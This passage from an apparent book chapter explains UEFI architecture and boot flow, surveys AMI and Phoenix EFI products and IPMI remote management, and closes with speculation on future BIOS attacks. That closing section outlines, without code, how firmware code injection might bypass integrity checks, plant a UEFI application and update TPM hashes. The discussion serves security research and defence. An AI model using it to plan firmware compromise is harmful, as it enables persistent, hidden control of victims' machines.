basics of Unified Extensible Firmware Interface (UEFI). UEFI is the specification that must 
be met by future firmware in order to be compatible with future computing ecosystem—
operating system, hardware and various other system components. Some of today’s 
products have adhered to the Extensible Firmware Interface (EFI) specification—the 
predecessor to UEFI. The second subsection delves into vendor-specific implementation of 
the UEFI specification; it highlights the future roadmap of BIOS-related development. 
 
15.1.1. Unified Extensible Firmware Interface (UEFI) 
 
  The UEFI specification was born as the successor to EFI specification version 1.10. It 
was born to cope with the inability of the current BIOS to scale and adapt efficiently with 
the current advances in desktop, server, mobile and embedded platforms technology, 
particularly, in terms of development complexity and cost efficiency. The most recent 
specification of UEFI as of the writing of this book is UEFI specification version 2.0, 
released in 31 January 2006. You can download the specification at 
http://www.uefi.org/specs/. UEFI is an interface specification between the operating system 
and the firmware in the system—during system boot and as well as during runtime if the 
firmware possesses runtime routines. Figure 15.1 shows the simplified concept of an UEFI-
compliant system.  

http://www.uefi.org/specs/


 
Figure 15.1 Simplified diagram of UEFI in the system-wide architecture 

The history of UEFI starts with the development of EFI by Intel as the core firmware for 
Intel Itanium platform. EFI was conceived to be a platform independent firmware interface. 
That is why it adapts quite easily to the PC architecture, in fact, not only PC architecture 
but other processor architectures as well. UEFI is the latest incarnation of the platform 
firmware specification that’s formerly known as EFI. The primary goal of UEFI 
specification is to define an alternative boot environment that alleviates some of the 
problems inherent to BIOS-based systems, such as the high cost and complex changes 
needed whenever new functionalities or innovations are going to be incorporated to 
platform firmware. 
  As with other interface specification, you have to understand the basic architecture of an 
UEFI based system in order to understand how it works. Figure 15.2 shows the architecture 
of an UEFI-compliant system. 

 
Figure 15.2 UEFI-compliant system architecture 



Figure 15.2 shows the relationships among various components that forms an UEFI-
compliant system. The platform hardware in figure 15.2 shows that the mass storage 
device—illustrated as cylinder—contains an UEFI system partition. This partition is used 
by certain UEFI binaries including the UEFI operating system loader. On top of the 
platform hardware, lays the UEFI boot services and UEFI runtime serices. The UEFI boot 
services are application programming interfaces (APIs) provided by UEFI-compliant 
firmware during boot time for use by the UEFI operating system loader, UEFI application 
and UEFI drivers to function correctly. They are not available when the boot process 
completes. The UEFI runtime services are APIs provided by UEFI-compliant firmware 
during boot time as well as during runtime. The UEFI operating system loader loads the 
operating system first stage loader to the main memory and passes system control to it. The 
other interfaces in the platform firmware, such as the ACPI and SMBIOS interfaces exist as 
part of the UEFI-compliant firmware. Their functionalities are not changed, the UEFI-
compliant firmware merely “encapsulates” them to provide an UEFI-compliant system. 
One of the characteristic of UEFI is to provide evolution path for an already established 
interface standards such as ACPI, SMBIOS and others. It doesn’t exist as a replacement for 
these interface specifications. Anyway, detail of standard boot process in an UEFI-
compliant firmware is shown in figure 15.3. 

 
Figure 15.3 Boot process of an UEFI-compliant firmware 

  Figure 15.3 shows clearly that UEFI-compliant firmware consists of two main parts, the 
UEFI boot manager and UEFI binaries. The UEFI boot manager is reminiscence of the 
“system BIOS” in legacy BIOS binary. UEFI binaries don’t have any exact analogy in the 



legacy BIOS binary architecture. UEFI binaries consist of UEFI drivers, UEFI applications, 
UEFI boot code and an optional operating system loader. UEFI driver can be regarded as 
replacement for the legacy PCI option/expansion ROM that is used to initialize expansion 
cards and on-board devices. However, some UEFI drivers act as bus drivers that are used to 
initialize the bus in the system. It’s more like a “pre-boot” version of the device driver 
usually found inside a running operating system. UEFI applications are software 
applications that run in the UEFI pre-boot environment, for example the operating system 
loader. UEFI boot code is the code in the UEFI-compliant firmware that loads the operating 
system loader to main memory and executes the operating system. The operating system 
loader can be implemented as part of the UEFI binaries as value-added implementation. In 
this respect, the operating system loader is regarded as UEFI application.  
  Recall from figure 15.2, in an UEFI-compliant system, the mass storage device—part of 
the platform hardware—contains an UEFI system partition. This partition is a custom 
partition in the mass storage device that stores some of the UEFI binaries, particularly those 
that relate directly with the loading of the operating system loader. Moreover, value-added 
UEFI application can be stored in this partition too. The UEFI system partition is a 
mandatory part of a UEFI-compliant system because it’s required by UEFI-compliant 
firmware to boot from mass storage device1.  
  Figure 15.3 show that one of the steps carried out by UEFI boot manager is initializing 
UEFI images. UEFI images in figure 15.3 consist of UEFI drivers and UEFI applications. 
Note that the operating system loader in figure 15.3 is also an UEFI application, even if it’s 
not shown explicitly in the image. Therefore, it’s also an UEFI image. UEFI images are a 
class of files defined by UEFI specification that contain executable code. The executable 
format of UEFI images is PE32+. It’s derived from Microsoft’s Portable Executable (PE) 
executable format. The “+” sign denotes that the PE32+ provides 64-bit relocation “fix-up” 
extension to standard PE32 format. Moreover, this executable format also uses a different 
signature to distinguish it from standard PE32 format. At this point, it’s unclear, how the 
image is executed in an UEFI-compliant system. UEFI specification explains about the 
execution environment in which UEFI images are executed in detail. I provide the relevant 
snippets from the specification in the following citation. 

2.3 Calling Convention 
 
Unless otherwise stated, all functions defined in the UEFI specification are 
called through pointers in common, architecturally defined, calling 
conventions found in C compilers. 
… 
2.3.2 IA-32 Platforms 
 
All functions are called with the C language calling convention. The general-
purpose registers that are volatile across function calls are eax, ecx, and 
edx. All other general-purpose registers are nonvolatile and are preserved 
by the target function. In addition, unless otherwise specified by the function 
definition, all other registers are preserved.  
Firmware boot services and runtime services run in the following processor 
execution mode prior to the OS calling ExitBootServices(): 

                                                 
1 Mass storage device is also called block device in some documentations. 



• Uniprocessor 
• Protected mode 
• Paging mode not enabled 
• Selectors are set be flat and are otherwise not used 
• Interrupts are enabled—though no interrupt services are supported 

other than the UEFI boot services timer functions (All loaded device 
drivers are serviced synchrounously by “polling.”)  

• Direction flag in EFLAGs is clear 
• Other general purpose flasg registers are undefined 
• 128 KB, or more, of available stack space 

An application written to this specification may alter the processor execution 
mode, but the UEFI image must ensure firmware boot services and runtime 
services are executed with the prescribed execution environment. 
… 
 
2.3.4 x64 Platforms 
 
All functions are called with C calling convention.  
… 
During boot services time, the processor is in the following excution mode: 

• Uniprocessor 
• Long mode, in 64-bit mode 
• Paging mode is enabled and any memory space defined by the 

UEFI memory map is identity mapped (virtual address equal 
physical address). The mappings to other regions are undefined 
and may vary from implementation to implementation 

• Selectors are set be flat and are otherwise not used 
• Interrupts are enabled—though no interrupt services are supported 

other than the UEFI boot services timer functions (All loaded 
device drivers are serviced synchrounously by “polling.”) 

• Direction flag in EFLAGs is clear 
• Other general purpose flasg registers are undefined 
• 128 KB, or more, of available stack space 

As you can see from the previous citation, the system is running in protected mode or long 
mode with flat memory addressing in order to run the UEFI routines. It’s also clear from 
the citation that the code that runs in one of these execution environment is compiled by 
using C compiler. C is chosen as the standard language because it’s well suited for system 
programming task like this. Note that the executable inside an UEFI image can be in the 
form of EFI byte code, i.e. not in the form of “native” executable binary of the platform in 
which it runs. EFI byte code is portable between different platforms because it’s executed 
insinde an EFI interpreter that is required to be present in an UEFI-compliant firmware. 
  There is more to UEFI specification than what I’ve explained so far. Nonetheless, I can 
give you some pointers to understand the specification more easily. The specification is 
more than a thousand pages long. It’s hard to grasp without a “roadmap”. The key to the 
specification is in chapter 1 and chapter 2 of UEFI specification, especially section 1.5, 
UEFI design overview and all of the sections in chapter 2 of UEFI specification. Once you 
have grasped those sections, you are ready to delve into the next sections that you are 
interested. This concludes this subsection. In the next subsection, I present some 
implementation of the EFI/UEFI from two major firmware vendors, AMI and Phoenix 
Technologies.  



 
15.1.2. BIOS Vendors Roadmap 
 
  This subsection should’ve given a glimpse over the roadmap of BIOS vendors. 
Nevertheless, I focus to explain the EFI/UEFI products of some vendors because that’s 
definitely the direction of BIOS technology. 
  Now, let me show you what AMI has up in its sleeve. AMI has several products that 
implement EFI specification. There’s no product yet that conforms to UEFI specification. 
Therefore, I talk about these products first to see where AMI is heading. The EFI-related 
products are as follows: 

1. AMI Aptio; Aptio is an EFI 1.10-compliant firmware code-base written in C 
language. The structure of the latest Aptio firmware code-base as per its 
specification document is as follows: 

a. It has a porting template, which eases the process of porting code into 
different platforms. Note: EFI is a cross-platform firmware interface. 

b. The directories are structured as board, chipset and core functional 
directories. 

c. It’s using a table-based initialization method. 
d. It incorporates compatibility support module (CSM), which provides 

routines to support legacy BIOS interfaces that might be needed by 
operating system running in the target system. 

e. Support for AMI hidden disk partition (HDP). Recall from subsection 
15.1.1, HDP is used by EFI-compliant firmware to store some of its 
data—HDP is shown as UEFI system partition in figure 15.2. 

f. It supports Intelligent Platform Management Interface (IPMI) version 2.0. 
g. Some other features that are not mentioned here.  

2. AMI Enterprise64 BIOS, this is an EFI 1.1-compliant firmware used in Itanium 
systems.  

3. AMI Pre-Boot Applications (PBA); it is a suit of EFI applications and tools that 
are stored in AMI HDP—HDP is analogue to UEFI system partition in UEFI 
terms. Recall from figure 15.3, AMI PBA is an EFI/UEFI application. AMI 
provides the following applications in AMI PBA: 

a. AMI Rescue and Rescue Plus: Image-based and non-destructive system 
recovery utility. 

b. Web browser 
c. Diagnostic utilities 
d. BIOS upgrade 
e. Hidden partition backup and restore 

AMI Aptio actually has a TCG standard-compliant module. This module is implemented as 
an EFI/UEFI driver. Based on the latest publicly available AMI Aptio specification, this 
module is still under development.  Looking at the various products from AMI, it’s clear 
that AMI is heading into the future with EFI/UEFI-based firmware, along with its value-
added applications. If you look at the publication dateof the UEFI specification—31 
January 2006—and compare it to the current state in AMI firmware offering, you will 
realize that the UEFI-compliant products must be still under development. Moreover, AMI 



states in its whitepaper that it uses the so-called AMI Visual eBIOS development 
environment to develop the current generation of BIOS-related software. This development 
environment speed-up BIOS-related software development compared to the DOS-based 
tools used in the previous generation of software produced by AMI. At the moment, AMI 
still produces AMIBIOS8 BIOS for its customers—the motherboard makers such as 
Gigabyte, DFI, etc. The majority of AMIBIOS8 BIOS variants are not based on EFI/UEFI 
yet. Nevertheless, it provides a seamless migration path to UEFI –based implementation in 
the future due t the modularity of AMIBIOS8. The explanations about AMI EFI/UEFI 
products give us a glimpse over the future of BIOS-related products from AMI. I 
summarize them in figure 15.4.  
 

 
Figure 15.4 AMI UEFI-compliant products roadmap (forecast)  

Note that figure 15.4 is only my forecast; it may not turn out like this forecast in the real 
world. I provide this forecast because AMI hasn’t release any document regarding their 
product roadmap to the public. 
  Now is the time to look at another big firmware vendor in desktop, server, mobile and 
embedded field, Phoenix Technologies. Phoenix has broad product offerings that utilize 
EFI/UEFI technologies. All of those products are based on the so-called Core System 
Software (CSS).  Phoenix emphasizes the security issue in its products that are based on 
CSS. The products are even marketed under the TrustedCore name, the exact naming as 
follows: 

1. TrustedCore Server & Embedded Server for server applications 
2. TrustedCore Embedded for embedded system applications 
3. TrustedCore Desktop for desktop platforms 



4. TrustedCore Notebook for mobile platforms 
You have learned about the detail implementation of Phoenix TrustedCore for desktop 
platforms in chapter 13. Therefore, I don’t explain it in detail in this chapter. Now, you will 
look at the comparison between different types of TrustedCore variants. It’s shown in table 
15.1.  

TrustedCore 
Server & 

Embedded Server 

TrustedCore 
Embedded 

TrustedCore 
Desktop 

TrustedCore 
Notebook 

• Delivers 
breakthrough 
IPMI Support for 
remote server 
management in 
both Microsoft 
.NET and 
heterogenous 
environment. 

• Optimized for 
easy 
implementation in 
blade, cluster and 
grid models 

• Trust capabilities 
integrate with 
enterprise security 
policy to deliver 
more secure 
networks 

• CoreArchitect 2.0 
support with drag 
and drop feature 
and automatic 
code creation 

• Supports complete 
range of embedded 
platforms, chipsets, 
and operating 
environments to 
build everything 
from Windows 
industrial PCs to 
embedded blades 
systems 

• Delivers the widest 
range of boot 
options in the 
marketplace. Boot 
from multiple media 
types or from the 
network 

• Leverages industry 
standard x86 
architecture and 
industry economics 
to enable entirely 
new embedded 
device types 

• CoreArchitect 2.0 
support with drag 
and drop feature and 
automatic code 
creation 

 

• Support for 
the latest 
CPUs and 

• chipsets from 
all major 
vendors 

• Early bring-
up for fast 

• prototype 
builds 

• Supports the 
latest industry 

• hardware bus 
standards 

• Supports the 
latest industry 

• software 
standards 

• CoreArchitect 
2.0 support 
with drag and 
drop feature 
and automatic 
code creation 

• Supports full 
range of mobile 
computing 
chipsets and form 
factors, including 
notebook, sub-
notebook and 
tablet PC 

• Optimized power 
management 
includes 
Speedstep & 
PowerNow 
support and 
power handling 
of all ACPI 
power states. 

• Supports 
Absolute 
ComputracePlus 

• CoreArchitect 
2.0 support with 
drag and drop 
feature and 
automatic code 
creation 

 

Table 15.1 Phoenix TrustedCore products comparison 

Table 15.1 shows the comparison among different products derived from the TrustedCore 
code base. Table 15.1 does not state explicitly that Phoenix products based on TrustedCore 
code base is EFI-compliant. In fact, TrustedCore code base is an EFI version 1.1-compliant 
product. Therefore, the evolution that this product needed to be UEFI 2.0 compliant is 
minor, much like the changes in AMI Aptio and AMI Enterprise64 BIOS shown in figure 



15.4. Because of that fact, I think it’s easy to predict the direction of Phoenix BIOS-related 
developments in the coming years.  
  Another possible area for future “expansion” in the BIOS field is the remote 
manageability feature in servers and embedded server platforms. Intel has defined the 
technical specification for remote manageability that runs as part of the server hardware. 
The specification is called Intelligent Platform Management Interface (IPMI). You can 
download the latest specification at http://www.intel.com/design/servers/ipmi/ . IPMI is 
particularly interesting because it enables a “server”2 machine to carryout management 
tasks remotely, such as rebooting a remote server that stops operating normally, etc. This is 
possible because of the use of dedicated “sideband” signaling interface that doesn’t require 
the presence of a working operating system to manage the remote machine. Normally, you 
will need the operating system in the remote machine to be working flawlessly in order to 
connect into it through the network. However, IPMI dictates the presence of the so-called 
baseboard management controller (BMC). The BMC is a “daughter” board—a board 
plugged into the motherboard—that contains a specialized microprocessor that handles 
health monitoring, alert and management functions independently of the main processor. 
Therefore, even if the main processor halts, the system is still “reachable” through the 
BMC. Administrators can restart or repair the machine through the BMC interface. It’s 
exciting to watch how this technology will be implemented in future systems. Beside the 
IPMI technology, it’s also important to pay attention to implementation of Intel Active 
Management Technology as it as been implemented in some of the most recent chipsets 
from Intel. These technologies need firmware level supports in order to work. This fact, 
ofcourse is very exciting for firmware developers as well as firmware reverse engineers. As 
a pointer, you might want to look for Advanced Telecommunications Computing 
Architecture (ATCA)-related product whitepapers/documentations from AMI and Phoenix, 
because ATCA systems mostly implement “deep” remote manageability features such as 
IPMI. 
  
15.2. Ubiquitous Computing and Development in BIOS 
Technology 
 
  The term ubiquitous computing refers to the integration of computing devices into the 
“daily life” environment, rather than having the computing devices as “distinct object”. 
This term actually refers to the situation when people do not perceive the computing device 
as a computing device; rather, they view it as “everyday” apparatus, more or less, like how 
people perceive their microwave oven as “everyday” apparatus.  
  In chapter 14, I have presented a TV set-top box (STB) based on embedded x86 
technology. As you read in section 14.2.1, this device can be considered as part of 
ubiquitous computing because it’s used by people without even noticing that it’s a 
computing device. However, they are aware that it’s an electronic entertainment device. As 
explained in section 14.2.1, the implementation of the “core” etBIOS is more like a 
workaround to the Award BIOS binary that’s used as the basis for the embedded x86 TV 

                                                 
2 The “server” machine is not exactly a server in terms of client-server relationship. It’s more like a 
supervisor machine that inspects the server that’s being monitored. 

http://www.intel.com/design/servers/ipmi/


STB. In this respect, it can be viewed as the inability of the aged BIOS architecture to cope 
with new advances in firmware technology. In the future this won’t be as much of a 
problem because BIOS technology will move to UEFI-compliant solutions. As you have 
learned in section 15.1, UEFI specification has the so-called UEFI application. New 
features such as the etBIOS that converts an ordinary x86 systems into an embedded x86 
appliances will be easier to develop. Moreover, because of the presence of UEFI 
specification, developers of value-added UEFI applications such as etBIOS will be able to 
port their application between different BIOS vendors almost seamslessly because all of the 
system firmware will adhere to the UEFI specification.  The AMD vision of x86 
everywhere that I mention in chapter 14 is also a driving force to the advances in embedded 
x86 firmware technology that will bring more x86-based embedded platform into our daily 
life.  
  They key to x86 firmware development that will help the realization of ubiquitous 
computing environment is the presence of a well-defined interface to build embedded 
application on top of the system firmware. UEFI specification has paved the way by 
providing a well-defined interface for the development of pre-boot application, also known 
as UEFI applications. I predict that there will be a significant growth in UEFI application in 
the coming years, particularly value-added application that turns x86 platforms into value-
added embedded x86 appliances. 
 
15.3. The Future of BIOS-related Security Threat 
 
  In the previous sections, I talk about the advances in BIOS-related technology. Now, let 
me continue into the security implication of those advances such as the possible 
exploitation scenarios and the weaknesses exposed by those advances.  
  First, start with the BIOS code injection possibility. In section 6.2, I’ve explained the 
BIOS code injection in Award BIOS through the so-called POST jump table. Simple code 
injection technique like that is not applicable to EFI/UEFI because of the presence of 
cryptographic code integrity check in the EFI/UEFI-compliant firmware. Therefore, future 
code-injection techniques must overcome the cryptographic code integrity check first hand. 
As you have learned in section 13.1.4, the code integrity check in Phoenix TrustedCore is 
in the boot block. Other EFI/UEFI-compliant BIOS binaries very possibly implement the 
code integrity check in the same way because even the main BIOS module must be ensured 
to be unaltered illegally during boot time to ensure the security of the system. Therefore, a 
code injection attack to UEFI-compliant BIOS will include an attack to the code integrity 
check in the boot block and a code injection in the main BIOS module. Another possible 
and probably easier scenario is to develop UEFI application that will be inserted into the 
UEFI-compliant BIOS. However, an attack like this must first ensure that if the system is 
using TPM hardware, the hash value in TCG hardware for the corresponding UEFI 
application must be updated accordingly. This kind of attack is more complex than the 
BIOS code injection in section 6.2. 
  Another consideration is the use of C compiler to build UEFI binary components. 
Moving-up the complexity of BIOS related development, also has it’s consequences to 
increase the possibility of complex attacks such as buffer overflows and other kind of 
attacks that usually attacks software developed by using higher level compiler than 



assemblers such as C compiler. Nonetheless, the attacker must take into account the 
cryptographic-based protection that’s applied to BIOS code integrity checks. 
  Another issue that’s of concern in the future is the emergence of attacks to systems that 
implemented the IPMI specification. Because, if an attacker has gained access to such a 
system, he/she will be able to take control of the system even when it’s main processor is 
not functioning correctly. I’m currently researching the possibility to exploit the IPMI-
based attacks. The concern is even more important because ATCA systems are widely used 
in telecommunication systems always implement IPMI. This concludes my explanation on 
future BIOS-related attacks. 
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